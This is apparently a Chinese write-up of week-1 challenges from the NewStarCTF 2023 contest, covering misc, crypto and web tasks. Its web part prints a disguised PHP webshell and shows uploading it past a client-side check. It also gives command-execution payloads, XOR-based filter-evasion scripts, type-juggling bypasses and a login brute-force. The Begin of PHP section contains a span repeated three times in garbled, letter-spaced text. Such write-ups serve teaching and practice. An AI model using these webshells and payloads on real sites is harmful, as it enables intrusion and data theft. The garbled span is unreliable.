NewStarCTF 2023 公开赛道 Week1

官方WP

https://shimo.im/docs/XKq421EBKzFyRzAN/read
NewStarCTF 2023 Week1 官方WriteUp.html

Misc

CyberChef’s Secret

NewStarCTF 2023 公开赛道 Week1_第1张图片
下载附件后,是一个压缩包,解压后获得flag.txt
NewStarCTF 2023 公开赛道 Week1_第2张图片
打开txt发现是base加密
NewStarCTF 2023 公开赛道 Week1_第3张图片

来签到吧!下面这个就是flag,不过它看起来好像怪怪的:-)
M5YHEUTEKFBW6YJWKZGU44CXIEYUWMLSNJLTOZCXIJTWCZD2IZRVG4TJPBSGGWBWHFMXQTDFJNXDQTA=

CyberChef赛博厨子使用Magic一把梭了
base32——>base58——>base64,然后flag就出来了
NewStarCTF 2023 公开赛道 Week1_第4张图片

机密图片

NewStarCTF 2023 公开赛道 Week1_第5张图片
下载附件后,是一个压缩包,解压后获得secret.png,初步猜测为图片隐写
NewStarCTF 2023 公开赛道 Week1_第6张图片

方法一:

使用CQR工具扫一下二维码, 获得一串字符 Welcome to NewStarCTF 2023!
没有什么用QAQ
NewStarCTF 2023 公开赛道 Week1_第7张图片
猜测为LSB隐写,试一下工具Stegsolve.jar,然后获得flag
NewStarCTF 2023 公开赛道 Week1_第8张图片

方法二:

打开kali虚拟机,使用zsteg工具一把梭了
NewStarCTF 2023 公开赛道 Week1_第9张图片

流量!鲨鱼!

NewStarCTF 2023 公开赛道 Week1_第10张图片
下载附件后发现是一个后缀为.pcap的流量包,使用WireShark打开它
NewStarCTF 2023 公开赛道 Week1_第11张图片
然后导出HTTP对象文件
NewStarCTF 2023 公开赛道 Week1_第12张图片
直接全部开导,保存到一个文件夹里
NewStarCTF 2023 公开赛道 Week1_第13张图片
然后发现了这个有点像flag的文件名
NewStarCTF 2023 公开赛道 Week1_第14张图片
打开之后发现是一串base加密后的密文,那么将它解密即可,是两层base64
NewStarCTF 2023 公开赛道 Week1_第15张图片
NewStarCTF 2023 公开赛道 Week1_第16张图片

压缩包们

NewStarCTF 2023 公开赛道 Week1_第17张图片
下载附件后是一个没有后缀名的文件,先用010editer打开看看
NewStarCTF 2023 公开赛道 Week1_第18张图片
文件头错误了,把它改正回来,文件为也要是504B,之后,把后缀改为.zip,解压后获得另外一个压缩包flag.zip
NewStarCTF 2023 公开赛道 Week1_第19张图片
但是解压失败,并且发现了压缩包注释,base64解码之后获得提示:

I like six-digit numbers because they are very concise and easy to remember.

那么压缩包的密码可能是6位纯数字,待会儿爆破可以试一下
NewStarCTF 2023 公开赛道 Week1_第20张图片
NewStarCTF 2023 公开赛道 Week1_第21张图片
既然解压失败,那么我们继续修复flag.zip压缩包,用010editer打开
NewStarCTF 2023 公开赛道 Week1_第22张图片
然后它变正常找你要密码了,那我们使用Ziperello工具爆破,结合上面的提示,6位纯数字爆破它
NewStarCTF 2023 公开赛道 Week1_第23张图片
NewStarCTF 2023 公开赛道 Week1_第24张图片
image.png
NewStarCTF 2023 公开赛道 Week1_第25张图片
NewStarCTF 2023 公开赛道 Week1_第26张图片
使用密码232311解压压缩包,打开压缩包内的flag.txt,即可获得flag
NewStarCTF 2023 公开赛道 Week1_第27张图片

隐秘的眼睛

NewStarCTF 2023 公开赛道 Week1_第28张图片
解压之后是一张眼镜的图片,结合题目和图片,结合B神博客https://byxs20.github.io/posts/1154.html#1-SilentEye-1盲猜猜图片被 SilentEye 工具隐写了
NewStarCTF 2023 公开赛道 Week1_第29张图片
NewStarCTF 2023 公开赛道 Week1_第30张图片
使用工具解密,获得flag
NewStarCTF 2023 公开赛道 Week1_第31张图片

空白格

下载附件之后还真是空白的,Ctrl + 空格又可以看见东西
NewStarCTF 2023 公开赛道 Week1_第32张图片
NewStarCTF 2023 公开赛道 Week1_第33张图片
刚开始以为是摩斯密码,看了B神博客才知道:WhiteSpace,是一种只用空白字符(空格,TAB和回车)编程的语言,而其它可见字符统统为注释。https://byxs20.github.io/posts/7979.html

把空白字符复制进去网站https://vii5ard.github.io/whitespace/,点击run即可
NewStarCTF 2023 公开赛道 Week1_第34张图片

CRYPTO

brainfuck

NewStarCTF 2023 公开赛道 Week1_第35张图片
正如其名,brainfuck加密,去网站解密即可https://www.splitbrain.org/services/ook
NewStarCTF 2023 公开赛道 Week1_第36张图片
NewStarCTF 2023 公开赛道 Week1_第37张图片
NewStarCTF 2023 公开赛道 Week1_第38张图片

Caesar’s Secert

凯撒加密,随波逐流工具一把梭了http://www.1o1o.xyz/
NewStarCTF 2023 公开赛道 Week1_第39张图片
NewStarCTF 2023 公开赛道 Week1_第40张图片

Fence

NewStarCTF 2023 公开赛道 Week1_第41张图片
栅栏密码,随波逐流一把梭了
NewStarCTF 2023 公开赛道 Week1_第42张图片

Vigenère

NewStarCTF 2023 公开赛道 Week1_第43张图片
维吉尼亚解密,使用网站https://www.guballa.de/vigenere-solver,然后选择法语直接爆破即可
NewStarCTF 2023 公开赛道 Week1_第44张图片

babyrsa

NewStarCTF 2023 公开赛道 Week1_第45张图片
NewStarCTF 2023 公开赛道 Week1_第46张图片

from Crypto.Util.number import *
from flag import flag

def gen_prime(n):
    res = 1

    for i in range(15):
        res *= getPrime(n)

    return res


if __name__ == '__main__':
    n = gen_prime(32)
    e = 65537
    m = bytes_to_long(flag)
    c = pow(m,e,n)
    print(n)
    print(c)
# 17290066070594979571009663381214201320459569851358502368651245514213538229969915658064992558167323586895088933922835353804055772638980251328261
# 14322038433761655404678393568158537849783589481463521075694802654611048898878605144663750410655734675423328256213114422929994037240752995363595

使用风二西(风大)的轩禹RSA工具分解模数N,然后计算私钥,计算明文,明文转字符即可获得flag
NewStarCTF 2023 公开赛道 Week1_第47张图片
NewStarCTF 2023 公开赛道 Week1_第48张图片

Small d

NewStarCTF 2023 公开赛道 Week1_第49张图片
NewStarCTF 2023 公开赛道 Week1_第50张图片

from secret import flag
from Crypto.Util.number import *

p = getPrime(1024)
q = getPrime(1024)

d = getPrime(32)
e = inverse(d, (p-1)*(q-1))
n = p*q
m = bytes_to_long(flag)

c = pow(m,e,n)

print(c)
print(e)
print(n)

# c = 6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248
# e = 8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825
# n = 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433

结合题目提示,猜测是维纳攻击,还是用风大的工具选择维纳攻击模式即可
NewStarCTF 2023 公开赛道 Week1_第51张图片

babyencoding

NewStarCTF 2023 公开赛道 Week1_第52张图片
NewStarCTF 2023 公开赛道 Week1_第53张图片

part 1 of flag: ZmxhZ3tkYXp6bGluZ19lbmNvZGluZyM0ZTBhZDQ=
part 2 of flag: MYYGGYJQHBSDCZJRMQYGMMJQMMYGGN3BMZSTIMRSMZSWCNY=
part 3 of flag: =8S4U,3DR8SDY,C`S-F5F-C(S,S<R-C`Q9F8S87T`

part 1是一层base64加密
image.png
part 2是一层base32加密
NewStarCTF 2023 公开赛道 Week1_第54张图片
part 3是一层UUencode加密,使用网站http://web.chacuo.net/charsetuuencode解密,获得最后一段flag,最后进行拼接即可
NewStarCTF 2023 公开赛道 Week1_第55张图片
NewStarCTF 2023 公开赛道 Week1_第56张图片

Web

泄漏的秘密

NewStarCTF 2023 公开赛道 Week1_第57张图片
NewStarCTF 2023 公开赛道 Week1_第58张图片
首先查看一下robots.txt爬虫协议。访问/robots.txt,获得一半flag
NewStarCTF 2023 公开赛道 Week1_第59张图片
接下来查看网站的备份文件,一般是www.zip文件,访问/www.zip,下载下来之后,获得另外一半flag
NewStarCTF 2023 公开赛道 Week1_第60张图片
NewStarCTF 2023 公开赛道 Week1_第61张图片

Begin of Upload

NewStarCTF 2023 公开赛道 Week1_第62张图片
NewStarCTF 2023 公开赛道 Week1_第63张图片
发现只允许上传: JPG, JPEG, PNG, GIF图片文件
NewStarCTF 2023 公开赛道 Week1_第64张图片
F12之后查看源代码,发现是前端验证,可以直接在浏览器检查代码把checkFile()函数删了或者改成true,并按回车确认,然后上传一句话木马文件

// 一句话木马的PHP文件的代码为如下所示
GIF89a
<?php 
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>

NewStarCTF 2023 公开赛道 Week1_第65张图片
NewStarCTF 2023 公开赛道 Week1_第66张图片
还是弹出要前段验证,不要慌,换个浏览器
NewStarCTF 2023 公开赛道 Week1_第67张图片
用火狐浏览器重复刚才的操作,就上传成功了
NewStarCTF 2023 公开赛道 Week1_第68张图片
NewStarCTF 2023 公开赛道 Week1_第69张图片
然后访问url /upload/shell3.php,POST传参cmd=phpinfo();发现代码成功执行
NewStarCTF 2023 公开赛道 Week1_第70张图片
NewStarCTF 2023 公开赛道 Week1_第71张图片
那么我们就可以进行RCE了
首先查看一下根目录有什么文件 cmd=system(“ls /”);
NewStarCTF 2023 公开赛道 Week1_第72张图片
发现 fllll4g 文件
查看它 cmd=system(“cat /fllll4g”);
即可获得flag
image.png

ErrorFlask

NewStarCTF 2023 公开赛道 Week1_第73张图片
Flask错误模板注入
image.png
它说给他传两个参数number1 和 number2
那我只给它传一个参数 number1 ,导致它报错

/?number1=1

NewStarCTF 2023 公开赛道 Week1_第74张图片
然后Ctrl+U查看源代码,Ctrl+F搜索flag,即可获得flag
NewStarCTF 2023 公开赛道 Week1_第75张图片

Begin of HTTP

NewStarCTF 2023 公开赛道 Week1_第76张图片
它说使用 GET方式 来给 ctf 参数传入任意值来通过这关,那么我们就

/?ctf=1

NewStarCTF 2023 公开赛道 Week1_第77张图片
第二关需要Ctrl+U查看源代码来找到secret,发现它被base64加密了,那么我们解密之后再用POST传参即可
NewStarCTF 2023 公开赛道 Week1_第78张图片
NewStarCTF 2023 公开赛道 Week1_第79张图片
NewStarCTF 2023 公开赛道 Week1_第80张图片
NewStarCTF 2023 公开赛道 Week1_第81张图片
第三关需要再Cookie中把power的值改为ctfer,改完之后回车确认,然后刷新网页即可过关
NewStarCTF 2023 公开赛道 Week1_第82张图片
NewStarCTF 2023 公开赛道 Week1_第83张图片
接下来需要修改User-Agent头部信息,最后点击EXECUTE执行操作来过关
NewStarCTF 2023 公开赛道 Week1_第84张图片
NewStarCTF 2023 公开赛道 Week1_第85张图片
接下来也是修改HTTP头,用Hackbar即可,需要使用Referer头
NewStarCTF 2023 公开赛道 Week1_第86张图片
NewStarCTF 2023 公开赛道 Week1_第87张图片
最后一关需要本地用户才可以访问,按照常规思路是用X-Forwarded-For,但是不行
NewStarCTF 2023 公开赛道 Week1_第88张图片
NewStarCTF 2023 公开赛道 Week1_第89张图片
那么我们换一个 x-real-ip,参考其他师傅博客http://t.csdn.cn/7Y4Cc
NewStarCTF 2023 公开赛道 Week1_第90张图片
NewStarCTF 2023 公开赛道 Week1_第91张图片

Begin of PHP

NewStarCTF 2023 公开赛道 Week1_第92张图片
题目源码


error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
    echo "=Level 1=
"
; if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){ $flag1 = True; }else{ die("nope,this is level 1"); } } if($flag1){ echo "=Level 2=
"
; if(isset($_POST['key3'])){ if(md5($_POST['key3']) === sha1($_POST['key3'])){ $flag2 = True; } }else{ die("nope,this is level 2"); } } if($flag2){ echo "=Level 3=
"
; if(isset($_GET['key4'])){ if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){ $flag3 = True; }else{ die("nope,this is level 3"); } } } if($flag3){ echo "=Level 4=
"
; if(isset($_GET['key5'])){ if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){ $flag4 = True; }else{ die("nope,this is level 4"); } } } if($flag4){ echo "=Level 5=
"
; extract($_POST); foreach($_POST as $var){ if(preg_match("/[a-zA-Z0-9]/",$var)){ die("nope,this is level 5"); } } if($flag5){ echo file_get_contents("/flag"); }else{ die("nope,this is level 5"); } }

level 1的方法一:

首先要通过Level 1 ,发现它是PHP的弱类型比较,只要两个数的md5加密后的值以0e开头就可以绕过,因为php在进行弱类型比较(即==)时,会先转换字符串的类型,再进行比较,而在比较时因为两个数都是以0e开头会被认为是科学计数法,0e后面加任何数在科学计数法中都是0,所以两数相等

240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361

NewStarCTF 2023 公开赛道 Week1_第93张图片
那么给key1和key2以GET方式传参,即可通过Level 1,到达Level 2

/?key1=240610708&key2=QLTHNDT

NewStarCTF 2023 公开赛道 Week1_第94张图片

level 1的方法二:

就算它是强类型比较(即===)时,此时两个md5后的值采用严格比较,没有规定字符串,如果这个时候传入的是数组不是字符串,可以利用md5()函数的缺陷进行绕过。数组为空,那么MD5加密之后都为0,那么就是相等的,满足条件,可以成功绕过。
payload:

/?key1[]=1&key2[]=2

NewStarCTF 2023 公开赛道 Week1_第95张图片
接下来到Level 2,key3要用POST传参,一样可以用数组绕过
NewStarCTF 2023 公开赛道 Week1_第96张图片
NewStarCTF 2023 公开赛道 Week1_第97张图片
接下来到Level 3
strcmp函数是string compare(字符串比较)的缩写,用于比较两个字符串并根据比较结果返回整数。基本形式为strcmp(str1,str2),若str1=str2,则返回零;若str1estr2,则返回正数。
NewStarCTF 2023 公开赛道 Week1_第98张图片
strcmp有一个bug就是如果比较的是数组的话,直接返回一个0。
那么我们依旧传一个数组过去,让(strcmp( G E T [ ′ k e y 4 ′ ] , f i l e g e t c o n t e n t s ( " / f l a g " ) ) = = 0 ) 条件成立 ! [ i m a g e . p n g ] ( h t t p s : / / i m g − b l o g . c s d n i m g . c n / i m g c o n v e r t / a e 6079 a 2 f 9 c c f 801678 e 215 f 5578 a 557. p n g ) ! [ i m a g e . p n g ] ( h t t p s : / / i m g − b l o g . c s d n i m g . c n / i m g c o n v e r t / 0 f 48725222 d 0 e a 76 f 0 e 2 d f 1 c 057 f 9595. p n g ) 接下来到 L e v e l 4 k e y 5 不能是纯数字,并且 k e y 5 要大于 2023 ! [ i m a g e . p n g ] ( h t t p s : / / i m g − b l o g . c s d n i m g . c n / i m g c o n v e r t / 2 c 56266 e 3047307 c 49 a 4 a 21 c b 0193063. p n g ) i s n u m e r i c ( ) 函数用于检测变量是否为数字或数字字符串 i s n u m e r i c ( ) 函数用 2024 a 绕。 2024 a 是字符串,但是弱比较的时候,因为数字在前面, p h p 会将其整体转成数字,就可以通过比较了 ! [ i m a g e . p n g ] ( h t t p s : / / i m g − b l o g . c s d n i m g . c n / i m g c o n v e r t / e d 05 e e b f 701 d b 6 a d 658 f 870074 f 48 f e 0. p n g ) 接下来到 L e v e l 5 使用了 e x t r a c t 函数 [ h t t p s : / / w w w . r u n o o b . c o m / p h p / f u n c − a r r a y − e x t r a c t . h t m l ] ( h t t p s : / / w w w . r u n o o b . c o m / p h p / f u n c − a r r a y − e x t r a c t . h t m l ) e x t r a c t 能覆盖变量 e x t r a c t 对数组进行操作的话,就是把 k e y 3 [ ] 后面的都当成数组的值吗题目是 e x t r a c t 了 _GET['key4'],file_get_contents("/flag")) == 0)条件成立 ![image.png](https://img-blog.csdnimg.cn/img_convert/ae6079a2f9ccf801678e215f5578a557.png) ![image.png](https://img-blog.csdnimg.cn/img_convert/0f48725222d0ea76f0e2df1c057f9595.png) 接下来到Level 4 key5不能是纯数字,并且key5要大于2023 ![image.png](https://img-blog.csdnimg.cn/img_convert/2c56266e3047307c49a4a21cb0193063.png) is_numeric() 函数用于检测变量是否为数字或数字字符串 is_numeric()函数用2024a绕。2024a是字符串,但是弱比较的时候,因为数字在前面,php会将其整体转成数字,就可以通过比较了 ![image.png](https://img-blog.csdnimg.cn/img_convert/ed05eebf701db6ad658f870074f48fe0.png) 接下来到Level 5 使用了extract函数[https://www.runoob.com/php/func-array-extract.html](https://www.runoob.com/php/func-array-extract.html) extract能覆盖变量 extract对数组进行操作的话,就是把key3[]后面的都当成数组的值吗 题目是extract了 GET[key4],filegetcontents("/flag"))==0)条件成立![image.png](https://imgblog.csdnimg.cn/imgconvert/ae6079a2f9ccf801678e215f5578a557.png)![image.png](https://imgblog.csdnimg.cn/imgconvert/0f48725222d0ea76f0e2df1c057f9595.png)接下来到Level4key5不能是纯数字,并且key5要大于2023![image.png](https://imgblog.csdnimg.cn/imgconvert/2c56266e3047307c49a4a21cb0193063.png)isnumeric()函数用于检测变量是否为数字或数字字符串isnumeric()函数用2024a绕。2024a是字符串,但是弱比较的时候,因为数字在前面,php会将其整体转成数字,就可以通过比较了![image.png](https://imgblog.csdnimg.cn/imgconvert/ed05eebf701db6ad658f870074f48fe0.png)接下来到Level5使用了extract函数[https://www.runoob.com/php/funcarrayextract.html](https://www.runoob.com/php/funcarrayextract.html)extract能覆盖变量extract对数组进行操作的话,就是把key3[]后面的都当成数组的值吗题目是extract_POST,操作的是POST数组,然后因为有默认参数所以能修改一些值
NewStarCTF 2023 公开赛道 Week1_第99张图片
然后正则匹配检查POST数据,不能有大小写字母和数字;
如果flag5为真,那么就输出flag
接下来要使用羽师傅博客的无字母数字RCE脚本http://t.csdn.cn/4PExz
先用PHP生成字典



/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[a-zA-Z0-9]/i'; //根据题目给的正则表达式修改即可
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)^urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

然后用Python3跑脚本

# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("xor_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

NewStarCTF 2023 公开赛道 Week1_第100张图片
给flag5传这个cat /f*的值即可
NewStarCTF 2023 公开赛道 Week1_第101张图片

R!C!E!

NewStarCTF 2023 公开赛道 Week1_第102张图片


  highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
  $password=md5($_POST['password']);
  $code=$_POST['e_v.a.l'];
  if(substr($password,0,6)==="c4d038"){
    if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
      eval($code);
    }
  }
}

NewStarCTF 2023 公开赛道 Week1_第103张图片
ChatGPT说

这个题目的代码是一个简单的PHP Web应用程序,它接受两个POST参数,password 和 e_v.a.l。它的目标是通过合适的输入来执行 eval 函数并找到flag。

下面是解决这个问题的一般思路和步骤:

阅读代码:首先,你应该仔细阅读提供的PHP代码,了解它的工作原理。从代码中可以看出,如果password 的md5哈希的前6位是 "c4d038",并且 e_v.a.l 参数不包含某些关键字(如 "flag""system""pass" 等),那么它会执行 eval($code)。

寻找输入:确定如何控制 password 和 e_v.a.l 参数。通常情况下,CTF题目会提供一个表单,你可以通过该表单来提交这些参数。你需要找到包含这个表单的页面。

绕过 md5 校验:由于目标是执行 eval($code),你需要确保 password 的md5哈希的前6位是 "c4d038"。这可能需要尝试不同的密码,直到找到一个正确的前缀。

构建payload:构建一个 e_v.a.l 参数的payload,使其执行你希望执行的代码。这可能需要试验不同的payload,以找到一个可以成功执行的。

提交payload:在表单中提交你的payload,看看是否能够执行代码并获得flag。

总之,这是一个需要尝试和调试的题目。你需要不断尝试不同的密码前缀和payload,直到成功执行代码并获取flag。记住在CTF比赛中,需要有耐心和创造力来解决这类问题。

NewStarCTF 2023 公开赛道 Week1_第104张图片
百度得知114514的MD5加密之后前6位是c4d038,
那么就到 e_v.a.l 了,传参的时候要换成 e[v.a.l
结合其他师傅博客http://t.csdn.cn/kxxHZ
因为在PHP官方文档中有解释当变量名中出现点和空格时,PHP的处理方式是
https://www.php.net/manual/zh/language.variables.external.php
image.png
NewStarCTF 2023 公开赛道 Week1_第105张图片
那么接下来需要绕过if(!preg_match(“/flag|system|pass|cat|ls/i”,$code))这个正则匹配
使用“参数逃逸”的方法:
用一个变量a来存储命令,然后调用a这个变量

e[v.a.l=eval($_POST['a']);&a=system("cat /f*");

那么完整的payload为:

password=114514&e[v.a.l=eval($_POST['a']);&a=system("cat /f*");

NewStarCTF 2023 公开赛道 Week1_第106张图片

EasyLogin

NewStarCTF 2023 公开赛道 Week1_第107张图片
打开之后,是一个登录界面,试一下管理员账号admin,密码123456,登录失败,那么我们抓包,然后爆破一下密码
NewStarCTF 2023 公开赛道 Week1_第108张图片
NewStarCTF 2023 公开赛道 Week1_第109张图片
发现密码被MD5加密了,那么我们爆破的时候也需要将密码MD5加密,导入字典之后,在Payload Processing中设置MD5加密,然后进行攻击
NewStarCTF 2023 公开赛道 Week1_第110张图片
发现这个密码的长度不一样,那么它就是密码了,拿到md5网站(https://www.cmd5.org/)解密一下发现是000000
NewStarCTF 2023 公开赛道 Week1_第111张图片
NewStarCTF 2023 公开赛道 Week1_第112张图片
回到拦截器中把密码改成000000的MD5值,然后点击发包
NewStarCTF 2023 公开赛道 Week1_第113张图片
NewStarCTF 2023 公开赛道 Week1_第114张图片
NewStarCTF 2023 公开赛道 Week1_第115张图片
在History中发现了302重定向的包,里面的注释里就是flag
NewStarCTF 2023 公开赛道 Week1_第116张图片

你可能感兴趣的:(web安全)